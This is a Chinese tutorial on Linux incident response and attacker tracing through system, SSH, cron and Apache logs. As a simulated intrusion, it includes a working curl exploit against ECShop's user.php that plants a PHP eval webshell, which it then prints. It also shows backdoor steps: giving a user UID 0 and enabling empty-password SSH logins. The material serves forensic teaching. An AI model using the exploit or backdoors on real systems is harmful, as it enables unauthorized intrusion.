1.1 查看当前已经登录到系统的用户
w
是一个命令行工具,它可以展示当前登录用户信息,并且每个用户正在做什么。它同时展示以下信
息:系统已经运行多长时间,当前时间,和系统负载。
[root@xuegod63 ~] w
10:45:27 up 3 min, 1 user, load average: 0.19, 0.22, 0.10
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
root pts/0 123.113.242.67 10:44 7.00s 0.00s 0.00s w
第一行展示的信息和 uptime 命令运行结果一样。它包含了下列信息:
10:45:27 系统当前时间
up 3 min 系统上线时间
1 user 登录用户数目
load average: 0.19, 0.22, 0.10 - 过去 1 分钟,5 分钟和 15 分钟内,系统负载平均值。这个值
是对正在运行或者等待磁盘 I/O 操作的任务数目的一个考量。它基本上是告诉你过去的一段时间,系统
有多忙?
第二行包括以下信息:
USER - 登录用户名
TTY - 登录用户使用的终端名称
FROM - 来自登录用户的主机名或者 IP
LOGIN@ - 用户登录时间
IDLE - 从用户上次和终端交互到现在的时间,即空闲时间
JCPU - 依附于 tty 的所有进程的使用时间
PCPU - 用户当前进程的使用时间。当前进程名称显示在 WHAT
WHAT - 用户当前进程和选项、参数
1.2 查看所有用户最近一次登录
lastlog
命令 用于显示系统中所有用户最近一次登录信息。
lastlog 文件在每次有用户登录时被查询。可以使用 lastlog 命令检查某特定用户上次登录的时间,
并格式化输出上次登录日志/var/log/lastlog
的内容。它根据 UID 排序显示登录名、端口号(tty)和上
次登录时间。如果一个用户从未登录过,lastlog 显示Never logged。
注意需要以 root 身份运行该命令。
[root@xuegod63 ~] lastlog
Username Port From Latest
root pts/0 123.113.242.67 Wed Sep 8 10:44:05 +0800 2021
bin **Never logged in**
daemon **Never logged in**
adm **Never logged in**
lp **Never logged in**
ecshop pts/12 123.113.246.37 Fri Aug 13 22:36:40 +0800 2021
dedecms pts/16 183.11.73.143 Fri Aug 13 21:38:47 +0800 2021
discuzml pts/8 112.42.32.244 Fri Aug 13 21:55:04 +0800 2021
discuzx pts/8 112.42.32.244 Fri Aug 13 22:04:52 +0800 2021
但是记录中会有很多未登录的用户,可以通过 grep -v 命令进行过滤,不显示没有登录过的用户。
[root@xuegod63 ~] lastlog |grep -v "Never logged in"
Username Port From Latest
root pts/0 123.113.242.67 Wed Sep 8 10:44:05 +0800 2021
ecshop pts/12 123.113.246.37 Fri Aug 13 22:36:40 +0800 2021
dedecms pts/16 183.11.73.143 Fri Aug 13 21:38:47 +0800 2021
discuzml pts/8 112.42.32.244 Fri Aug 13 21:55:04 +0800 2021
discuzx pts/8 112.42.32.244 Fri Aug 13 22:04:52 +0800 2021
1.3 查看历史登录用户以及登录失败的用户
last
可以查看所有成功登录到系统的用户记录,lastb 查看登录成功和失败的用户记录。
单独执行 last 指令时,它会读取位于/var/log/wtmp
的文件,并把该给文件的内容记录的登录系统
的用户名单全部显示出来。
last 查看
[root@xuegod63 ~] last
root pts/7 183.198.217.75 Fri Aug 13 20:32 gone - no logout
root pts/6 183.198.217.75 Fri Aug 13 20:31 - 20:32 (00:00)
root pts/6 183.198.217.75 Fri Aug 13 20:31 - 20:31 (00:00)
…省略大量记录
查看最近 5 个登录的用户。
[root@xuegod63 ~] last -n 5
root pts/7 183.198.217.75 Fri Aug 13 20:32 gone - no logout
root pts/6 183.198.217.75 Fri Aug 13 20:31 - 20:32 (00:00)
root pts/6 183.198.217.75 Fri Aug 13 20:31 - 20:31 (00:00)
root pts/10 59.41.69.140 Fri Aug 13 20:29 gone - no logout
root pts/9 59.41.68.92 Fri Aug 13 20:29 gone - no logout
-a 参数把 ip 列放在最后一行
[root@xuegod63 ~] last -a -n 5
root pts/7 Fri Aug 13 20:32 gone - no logout 183.198.217.75
root pts/6 Fri Aug 13 20:31 - 20:32 (00:00) 183.198.217.75
root pts/6 Fri Aug 13 20:31 - 20:31 (00:00) 183.198.217.75
root pts/10 Fri Aug 13 20:29 gone - no logout 59.41.69.140
root pts/9 Fri Aug 13 20:29 gone - no logout 59.41.68.92
-d ip 地址转换为主机名。
该参数可以获取登录到系统的用户所使用的的主机名,如果目标适用的vps 服务器绑定了域名,该参数有可能获取到目标域名。
[root@xuegod63 ~] last -a -d |awk -F' ' '{print $1 "\t" $NF}'
root 6.14.95.218.broad.gz.jx.dynamic.163data.com.cn
root 10.45.136.117.static.js.chinamobile.com
root 6.14.95.218.broad.gz.jx.dynamic.163data.com.cn
以上地址是阿里云保留地址。
注:awk 命令可以帮我们取出我们想要的列,-F 指定分隔符,每列之间使用空格分隔,print 打印 $1 第一列 $NF 打印最后一列
"\t"添加 tab 符分隔,一般是 4 个空格。
对登录系统的用户和 ip 进行排序计数。
这里去掉-d 参数,因为找不到主机名的地址会显示 error.arpa
[root@xuegod63 ~] last -a |awk -F' ' '{ print $1 "\t" $NF}' |sort |uniq -c |sort -nr
16 root 123.113.246.37
10 reboot 3.10.0-1160.11.1.el7.x86_64
6 root 183.198.217.75
2 root 59.41.68.92
2 root 47.241.121.65
2 root 218.95.14.6
2 root 117.136.45.10
sort 会将文本进行排序
默认排序会把一样的行都排到一起。
uniq -c 计数
sort -nr 排序 -nr 倒序 -n 正序
lastb 查看所有登录记录包含失败。
[root@xuegod63 ~] lastb -a |awk -F' ' '{ print $1 "\t" $NF}' |sort |uniq -c |sort -nr
登录失败的请求更重要的是 ip 地址信息,所以我们只取 ip 地址进行统计。
[root@xuegod63 ~] lastb -a |awk '{print $NF}' |sort |uniq -c |sort -nr
1.4 SSH 登录日志分析
系统用户登录都会在/var/log/secure
日志文件中记录。但是这个日志文件会被系统自动分割。
ll -ld /var/log/secure*
[root@xuegod63 ~] ll -ld /var/log/secure*
-rw------- 1 root root 440 Sep 8 11:55 /var/log/secure
-rw-------. 1 root root 1 Aug 13 11:43 /var/log/secure-20210813
-rw------- 1 root root 98166 Sep 8 11:49 /var/log/secure-20210908
通过通配符查看所有 secure 文件中登录失败的记录。
[root@xuegod63 ~] grep Failed /var/log/secure*
取出第九列和第十一列。
[root@xuegod63 ~] grep Failed /var/log/secure* |awk -F' ' '{print $9 "\t" $11}'
但是这里有一些意料之外的记录,这是攻击者错误配置登录导致的。可以通过 grep -v 去掉这些记
录。但是这种乱搞的人的 ip 地址我们要单独关注一下。
[root@xuegod63 ~] grep Failed /var/log/secure* |grep invalid |awk -F' ' '{print $13}'
124.88.182.50
124.88.182.50
124.88.182.50
112.42.32.244
过滤用户名+登录失败的 IP
[root@xuegod63 ~] grep Failed /var/log/secure* |grep -v "invalid"|grep -v "release"
|awk -F' ' '{print $9 "\t" $11}' |sort |uniq -c | sort -nr
查看登录成功的 ip
[root@xuegod63 ~] grep "Accepted " /var/log/secure* | awk '{print $11}' | sort | uniq
-c | sort -nr | more
1.5 查看系统历史命令
系统历史命令一般保存在用户家目录下.bash_history 文件中
[root@xuegod63 ~] find / -name .bash_history
/home/admin/.bash_history
/home/ecshop/.bash_history
/home/www/.bash_history
/home/discuzx/.bash_history
/home/discuzml/.bash_history
/home/dedecms/.bash_history
/root/.bash_history
查看当前用户的历史命令:
[root@xuegod63 ~]# history
历史命令会很多使用的时候多配合其他命令一起使用,比如 more 或 grep。如果某个用户被黑客
登录过了就一定要查看该用户的所有历史命令信息。重点关注黑客修改了了哪些文件。
另外默认的历史命令中仅仅记录历史命令,并不会记录额外的信息帮助我们分析。
自定义历史命令输出格式:添加一下配置到/etc/profile
[root@xuegod63 ~] vim /etc/profile #追加以下内容
#记录登陆者 IP 地址 who 命令可以查看当前登录信息。
USER_IP=`who -u am i 2>/dev/null| awk '{print $NF}'|sed -e 's/[()]//g'`
#日志文件存放路径。
HISTDIR=/var/log/history
#设置日期
DT=`date +%Y-%m-%d`
#判断用户 IP 地址如果不存在或者为.则用户 IP 用本机主机名代替。
if [ -z $USER_IP ]
then
USER_IP=`hostname`
fi
pdf="."
if [[ ! $USER_IP == *${pdf}* ]]
then
USER_IP=`hostname`
fi
#判断日志文件路径是否存在,如果不存在则创建并添加权限。
if [ ! -d $HISTDIR ]
then
mkdir -p $HISTDIR
chmod 773 $HISTDIR
fi
#创建对应日期的日志文件
if [ ! -d $HISTDIR/${DT} ]
then
mkdir -p $HISTDIR/${DT}
chmod 773 $HISTDIR/${DT}
fi
#指定日志存放数量的总数
export HISTFILESIZE=10000
#配置 history 命令输出的总数
export HISTSIZE=10000
#配置文件具体时间
DT2=`date +%Y%m%d_%H:%M:%S`
#拼接文件名/var/log/history/日期 2021-09-08 /当前用户名@用户 ip_当前时间
#DT1 是日期 DT2 是准确到秒的准确时间。
export HISTFILE="$HISTDIR/${DT}/${LOGNAME}@${USER_IP}_$DT2"
#设置历史命令中的时间戳,history 命令有效,文件中显示时间戳。
export HISTTIMEFORMAT="%Y-%m-%d %H:%M:%S $"
重新加载配置文件。
[root@xuegod63 ~] source /etc/profile
查看历史命令,已经带了时间戳信息。
[root@xuegod63 ~] history 5
609 2021-09-08 15:18:58 $su - dedecms
610 2021-09-08 15:51:08 $vim /etc/profile
611 2021-09-08 15:51:14 $source /etc/profile
612 2021-09-08 15:51:15 $history
613 2021-09-08 15:51:57 $history 5
将本次登录的命令写入命令历史文件中,命令不是使用了就立即写入到文件中的,会现在缓存中,用
户退出登录时会自动写入文件,-w 命令可以立即写入,-c 命令可以清除当前缓存中的命令。
[root@xuegod63 ~] history -w
查看文件信息
[root@xuegod63 ~] ll /var/log/history/2021-09-08/root\@123.113.242.67_20210908_15\:51\:14
-rw------- 1 root root 18147 Sep 8 15:52 /var/log/history/2021-09-08/root@123.113.242.67_20210908_15:51:14
文件名中记录了用户名-ip-时间。文件内容中记录了详细的命令以及命令执行的时间戳。
[root@xuegod63 ~] tail -f /var/log/history/2021-09-08/root\@123.113.242.67_20210908_15\:51\:14
常用系统日志说明
日志目录 作用
/var/log/message 包括整体系统信息
/var/log/auth.log 包含系统授权信息,包括用户登录和使用的权限机制等
/var/log/userlog 记录所有等级用户信息的日志
/var/log/cron 记录 crontab 命令是否被正确的执行
/var/log/vsftpd.log 记录 Linux FTP 日志
/var/log/lastlog 记录登录的用户,可以使用命令 lastlog 查看
/var/log/secure 记录大多数应用输入的账号与密码,登录成功与否
/var/log/wtmp 记录登录系统成功的账户信息,等同于命令 last
/var/log/btmp 记录记录的登入系统失败的用户名单,等同于命令 lastb
/var/log/faillog 记录登录系统不成功的账号信息,一般会被黑客删除
1.6 计划任务日志
所有执行过的计划任务都会存在在/var/log/cron 文件中。
查看所有执行过的计划任务。
[root@xuegod63 ~] cat /var/log/cron* |awk -F':' '{print $NF}' |grep CMD |sort|uniq -c |sort -rn
查看所有用户的计划任务
[root@xuegod63 ~]# cat /etc/passwd | cut -f 1 -d : |xargs -i crontab -l -u {}
也可以直接查看/var/spool/cron/下的文件内容,所有用户级别的计划任务,都在这里有文件
[root@xuegod63 log] ls /var/spool/cron/
root
[root@xuegod63 log] cat /var/spool/cron/root
以上是用户级别的系统任务。系统级别的计划任务只能排查配置文件中的内容。
[root@xuegod63 log] find /etc/cron* -type f #查看系统级别的计划任务文件名
/etc/cron.d/0hourly
/etc/cron.d/sysstat
/etc/cron.daily/mlocate
/etc/cron.daily/logrotate
/etc/cron.daily/man-db.cron
/etc/cron.deny
/etc/cron.hourly/0anacron
/etc/crontab
1.7 检查系统用户
Linux 系统用户主要存放于/etc/passwd 文件和/etc/shadow 文件中当然还有一个组文件
/etc/group。
[root@xuegod63 ~] head -n 1 /etc/passwd
root:x:0:0:root:/root:/bin/bash
注:/etc/passwd 文件存放的是用户的信息,由 6 个分号组成的 7 个信息,解释如下
(1):用户名。
(2):密码(已经加密)
(3):UID(用户标识),操作系统自己用的
(4):GID 组标识。
(5):用户全名或本地帐号
(6):开始目录
(7):登录使用的 Shell,就是对登录命令进行解析的工具。
重点在于 UID 和 GID,root 用户的用户表示为 0,如果一个普通用户的 UID 修改为 0,那么这个用 户就成为了 root用户。
1、修改用户 UID 为 0,伪装成 root 用户
[root@xuegod63 ~] useradd xuegod #新增用户的信息。
[root@xuegod63 ~] tail -n 1 /etc/passwd
xuegod:x:1000:1000::/home/xuegod:/bin/bash
[root@xuegod63 ~] vim /etc/passwd
xuegod:x:0:1000::/home/xuegod:/bin/bash
查看用户身份,用户名还是 xuegod,用户身份已经识别为 root。
[root@xuegod63 ~] id
uid=0(root) gid=1000(xuegod) groups=1000(xuegod)
此时 xuegod 用户拥有 root 用户所有权限。
查找用户 uid=0 的用户
[root@xuegod63 ~] awk -F: '$3==0 {print $1}' /etc/passwd
root
xuegod
2、使用空口令账户登录 Linux 系统
正常情况,没有密码,用户是登录不了 linux 的。下面模拟黑客以空口令方式登录系统。
(1)、设置 sshd 服务允许空口令帐号登录系统
[root@xuegod63 ~] vim /etc/ssh/sshd_config
改:#PermitEmptyPasswords no
为:PermitEmptyPasswords yes
[root@xuegod63 ~] systemctl restart sshd
(2)、创建空口令帐号
[root@xuegod63 ~] useradd test
[root@xuegod63 ~] passwd test
[root@xuegod63 ~] vim /etc/shadow #删除 test 密码信息,test 就成为空口令用户
改:
test:$6$GGylrTxY$evNbwbgNDb8/5XF.9fjgrSm7fNWd1MLFh64WPqtzed8Fcl.tUmeep3O.LveE5QO9w4xC25hHJXh11kspaU5Oe1:18894:0:99999:7:::
为:test: :18894:0:99999:7:::
(3)、测试空口令用户登录系统
[root@xuegod63 ~] ssh test@192.168.1.63 #直接回车就可以登录成功,不用输入密码
[test@xuegod63 ~]$
1.8 中间件日志
这里以实际靶场中的日志给大家分析,通常日志文件在/var/log/httpd/access_log 目录下。具体
可以看 apache 服务的配置文件中指定的日志文件路径。
Apache 日志字段说明:
字段名称 描述
远程主机 IP 表明是谁访问了网站
空白(E-mail) 为了避免用户的邮箱被垃圾邮件骚扰,第二项就用“-”取代了
空白(登录名) 用于记录浏览者进行身份验证时提供的名字
请求时间 用方括号包围,而且采用“公用日志格式”或者“标准英文格式”。 时间
信息最后的“+0800”表示服务器所处时区位于 UTC 之后的 8 小时
方法 请求的方式:METHOD、GET、POST、HEAD 等
资源 请求的文件
协议 请求的协议:HTTP+版本号
状态码 请求的状态码
发送的字节数 表示发送给客户端的总字节数。它告诉我们传输是否被打断(该数值是否
和文件的大小相同)
Referer 从哪个页面链接过来的
User-Agent 使用的操作系统及版本、CPU 类型、浏览器及版本、浏览器渲染引擎、
浏览器语言、浏览器插件等信息。
[root@xuegod63 ~] cat /www/wwwlogs/access_log |less
日志分析的痛点:只能看到 GET 请求的请求操作,POST 请求看不到对服务器提交的内容
。
查询访问网站次数最多的 10 个 IP 地址。
[root@xuegod63 ~] cat /www/wwwlogs/access_log |cut -f 1 -d ' '|sort|uniq -c|sort -nr|head -10
查看访问最多的 URI
[root@xuegod63 ~] cat /www/wwwlogs/access_log |cut -f 7 -d ' '|sort|uniq -c|sort -nr|head -10
查看服务哪个时间段访问量最高。
[root@xuegod63 ~] cat /www/wwwlogs/access_log |cut -f 4 -d ' '|sort|uniq -c|sort -nr|head -10
查看日志中存在 select 的请求,如果站点存在 GET 类型的 SQL 注入,可以通过 SQL 语句中的关键
词筛选。这里仅举例,其他关键字自行替换。下面为 DVWA 测试数据。
[root@xuegod63 ~]# grep select /www/wwwlogs/access_log
120.244.60.57 - - [08/Sep/2021:16:19:02 +0800] "GET /DVWAmaster/vulnerabilities/sqli/?id=13213%27union+select+1%2C2%2C3+--+%2B&Submit=Submit HTTP/1.1" 200 72 "http://xxx.xxx.xxx.xxx/DVWAmaster/vulnerabilities/sqli/"
"Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36"
通过日志可快速定位到攻击者 ip 地址,攻击发起的时间,过滤出由攻击者 IP 发起的所有请求即可还
原该用户的所有请求记录。
[root@xuegod63 log] grep "120.244.60.57" /www/wwwlogs/access_log
1.9 通过时间检查站点被黑客修改过的文件
通过文件的创建修改时间来分析这个期间黑客修改了哪些内容。下面用 Webshell 和日志来演示,方
法对于黑客在服务器上留下后门程序是一样的,只是 webshell 的检查范围只有站点资源文件。
这里我们模拟测试数据对 ecshop 站点写入 webshell。
[root@xuegod63 ~] curl http://ecshop.xueshenit.com/user.php -d
"action=login&vulnspy=eval/**/(base64_decode(ZmlsZV9wdXRfY29udGVudHMoJ3Z1bG5z
cHkucGhwJywnPD9waHAgZXZhbCgkX1JFUVVFU1RbdnVsbnNweV0pOycpOw));exit;" -H
'Referer: 45ea207d7a2b68c49582d2d22adf953aads|a:3:{s:3:"num";s:207:"*/ select
1,0x2720756e696f6e2f2a,3,4,5,6,7,8,0x7b247b2476756c6e737079275d3b6576616c2f2a2a2
f286261736536345f6465636f646528275a585a686243676b5831425055315262646e567362
6e4e77655630704f773d3d2729293b2f2f7d7d,0--";s:2:"id";s:9:"'"'"'
union/*";s:4:"name";s:3:"ads";}45ea207d7a2b68c49582d2d22adf953a'
此时 webshell 已经写入到服务器。这里我们可以通过新文件的创建日期来判断入侵时间,得到入侵
时间之后我们可以关注一下这个时间段的服务器日志。 相反如果我们在日志中找到了入侵时间,也可
以根据时间范围来查找黑客修改了哪些文件。
检查最近 1 天内被修改过的文件。
[root@xuegod63 ~] find /www/wwwroot/ecshop.xueshenit.com/ -name "*.php" -
mtime -1
/www/wwwroot/ecshop.xueshenit.com/vulnspy.php
/www/wwwroot/ecshop.xueshenit.com/temp/query_caches/sqlcache_config_file_6bb9
6e533c71059dc72d724582e8a24b.php
/www/wwwroot/ecshop.xueshenit.com/temp/compiled/user_passport.dwt.php
/www/wwwroot/ecshop.xueshenit.com/temp/compiled/goto_ecmoban.lbi.php
/www/wwwroot/ecshop.xueshenit.com/temp/compiled/goto_ecmoban.lbi.php
find -name "*.php" 查找*.php 文件。
-mtime -1 查找最近 1 天内被修改过的文件。
注:0 表示 24 小时内修改过的,1 表示昨天修改过的,2 表示前天修改过的。这是个单独的日期,
想要指定 3 天之前到现在被修改过的文件则需要指定-3
查看 30 天内修改过的文件示例:-mtime -30
Linux 文件有 3 个时间属性
atime access time 访问时间 文件中的数据库最后被访问的时间
mtime modify time 修改时间 文件内容被修改的最后时间
ctime change time 变化时间 文件的元数据发生变化。比如权限,所有者等
stat 命令可以查看文件详细信息。
[root@xuegod63 ~]# stat /www/wwwroot/ecshop.xueshenit.com/vulnspy.php
File: ‘/www/wwwroot/ecshop.xueshenit.com/vulnspy.php’
Size: 31 Blocks: 8 IO Block: 4096 regular file
Device: fd01h/64769d Inode: 535716 Links: 1
Access: (0644/-rw-r--r--) Uid: ( 1001/ www) Gid: ( 1001/ www)
Access: 2021-09-14 15:16:21.579827018 +0800
Modify: 2021-09-14 15:16:17.217656461 +0800
Change: 2021-09-14 15:16:17.217656461 +0800
Birth: -
但是 ls 命令默认查看的日期格式是英文的,如果想修改为 2021-09-14 这样的格式需要进行修改。
[root@xuegod63 ~] echo "export TIME_STYLE='+%Y/%m/%d %H:%M:%S'" >> /etc/profile
[root@xuegod63 ~] source /etc/profile
[root@xuegod63 ~] ll /www/wwwroot/ecshop.xueshenit.com/vulnspy.php
-rw-r--r-- 1 www www 31 2021/09/14 15:16:17
/www/wwwroot/ecshop.xueshenit.com/vulnspy.php
分析结果,一共找到 4 个 24 小时内修改过的文件,但是有 3 个文件是 temp 临时目录下的,所以可
能是系统运行所产生的临时文件。
查看文件内容:
[root@xuegod63 ~] cat /www/wwwroot/ecshop.xueshenit.com/vulnspy.php
<?php eval($_REQUEST[vulnspy]);
如果站点中修改的文件过多可以 find 时进行过滤。常见的过滤规则 eval system 一句话常用的关键
词进行过滤即可。有时先找到马之后分析这个马的关键词进行过滤,比如通过 D 盾检测 webshell。
[root@xuegod63 ~] find /www/wwwroot/ecshop.xueshenit.com/ -name "*.php" -
mtime 0 |xargs grep "eval"
/www/wwwroot/ecshop.xueshenit.com/vulnspy.php:<?php eval($_REQUEST[vulnspy]);
xargs 可以把前面 find 命令的输出传递给后面的命令。
多个关键词可以在 grep 条件中添加,添加方式如下:|或 需要\转义。
grep “eval|system”
把 webshell 和日志中入侵记录关联起来。
[root@xuegod63 ~]# find /www/wwwroot/ecshop.xueshenit.com/ -name "*.php" -
mtime 0 |xargs grep "eval" |awk -F":" '{print $1}'|xargs ls -l
-rw-r--r-- 1 www www 31 2021/09/14 11:39:34
/www/wwwroot/ecshop.xueshenit.com/vulnspy.php
通过日期可以定位到日志中的操作。
[root@xuegod63 log] grep "11:39:34" /www/wwwlogs/access_log
47.241.121.65 - - [24/Sep/2021:11:39:34 +0800] "POST /user.php HTTP/1.1" 200 2
可以看到攻击者通过访问 user.php 文件生成了 vulnspy.php 一句话木马,所以我们可以判定
user.php 文件存在漏洞。修复方案可以到对应的官网寻找修复补丁,或者百度搜索临时解决办法。
缺点:日志中可以看到是 POST 请求,日志是不保存 POST 中的 data 数据段的,所以看不到攻击细
节,一般安全防火墙设备中会提供完整报文。
批量查找写入 webshell 的日志。
[root@xuegod63 ~] find /www/wwwroot/ecshop.xueshenit.com/ -name "*.php" -
mtime 0 |xargs grep "eval" |awk -F":" '{print $1}'|xargs ls -l|awk '{print $7}' |xargs -I {} grep
{} /www/wwwlogs/access_log
47.240.66.200 - - [14/Sep/2021:15:16:17 +0800] "POST /user.php HTTP/1.1" 200 2
原理很简单,查找到文件之后通过 awk 取出文件名 ls -l +awk 取出文件日期,通过 grep 过滤日志
中和 webshell 相同日期的记录。
查询到攻击者 IP 以及 webshell 之后就可以筛选对应的日志。攻击者 IP 并不是只会有一个。比如下
面的地址就是使用了代理的 IP。属于境外 IP
查询所有访问一句话木马的日志。
[root@xuegod63 ~] grep "vulnspy.php" /www/wwwlogs/access_log
23.83.225.82 - - [14/Sep/2021:17:32:28 +0800] "POST /vulnspy.php HTTP/1.1" 200 160
23.83.225.82 - - [14/Sep/2021:17:32:35 +0800] "POST /vulnspy.php HTTP/1.1" 200 163
23.83.225.82 - - [14/Sep/2021:17:32:36 +0800] "POST /vulnspy.php HTTP/1.1" 200 831
23.83.225.82 - - [14/Sep/2021:17:32:41 +0800] "POST /vulnspy.php HTTP/1.1" 200 161
23.83.225.82 - - [14/Sep/2021:17:32:46 +0800] "POST /vulnspy.php HTTP/1.1" 200 78
查询 IP 归属
https://ip.fm/?ip=23.83.225.82
https://ipw.cn/ip/?ip=23.83.225.82
查看该 ip 所有的记录
[root@xuegod63 ~] grep "23.83.225.82" /www/wwwlogs/access_log
查询一定时间范围内被修改过的文件。多数情况下黑客并不是刚刚入侵到这台服务器的,有可能要追溯到很早,所以这个时候需要通过时间范围来检查系统文件。
find -mtime,这种查找的时间单位是天,怎么精确到分钟呢?或者说按照时间戳去查找?这就需要
使用"-newermt"参数
例:将/www/wwwroot/ecshop.xueshenit.com/目录下,2021-08-01 9:00 到 2021-09-15
21:00 时间段内修改或生成的文件显示出来。
该参数中的 m 其实就表示 mtime,t 表示绝对时间,那同样还存在:-newerat
、-newerct
[root@xuegod63 ~] find /www/wwwroot/ecshop.xueshenit.com/ -name "*.php" -newermt '2021-08-01 9:00' ! -newermt '2021-09-15 21:00' |xargs ls -l
1.10 检查服务器已经建立的网络连接
如果黑客已经和服务器建立了连接,可通过查看当前服务器已经建立的链接来分析恶意 ip 和进程。
Linux 中查看网络连接常用 netstat
netstat 命令参数
-a 或--all:显示所有连线中的 Socket;
-n 或--numeric:直接使用 ip 地址,而不通过域名服务器;
-p 或--programs:显示正在使用 Socket 的程序识别码和程序名称;
-t 或--tcp:显示 TCP 传输协议的连线状况;
-u 或--udp:显示 UDP 传输协议的连线状况;
常用语法:
[root@xuegod63 ~] netstat -anutp
第一列:协议类型
第二列:接收消息队列
第三列:发送消息队列
第四列:本地 ip 和端口
第五列:远程 ip 和端口
第六列:网络连接状态
第七列:进程 pid 和进程名称
可以通过第六列筛选已经建立链接的进程。
TCP 连接状态详解:
1、LISTEN #本地服务侦听状态
2、ESTABLISHED #已经建立链接双方正在通讯状态。
3、CLOSE_WAIT #对方主动关闭连接或者网络异常导致连接中断,这时我方的状态会变成
CLOSE_WAIT 此时我方要调用 close()来使得连接正确关闭。
4、TIME_WAIT #我方主动调用 close()断开连接,收到对方确认后状态变为
TIME_WAIT。
5、SYN_SENT #半连接状态,原理同 SYN Flood 攻击,攻击者发送 SYN 后服务器端口
进入 SYN_SENT 状态等待用户返回 SYN+ACK。
查看已经建立连接的会话。
[root@xuegod63 ~] netstat -anutp |grep ESTABLISHED
[root@xuegod63 log] netstat -anutp |grep 22
文章来源:https://www.toymoban.com/news/detail-824851.html
[root@xuegod63 log] netstat -anutp |grep LISTEN #查看本机处于监听的服务,查看
检查黑客开放了哪些监听端口
文章来源地址https://www.toymoban.com/news/detail-824851.html
到了这里,关于Linux 应急响应-溯源-系统日志排查的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!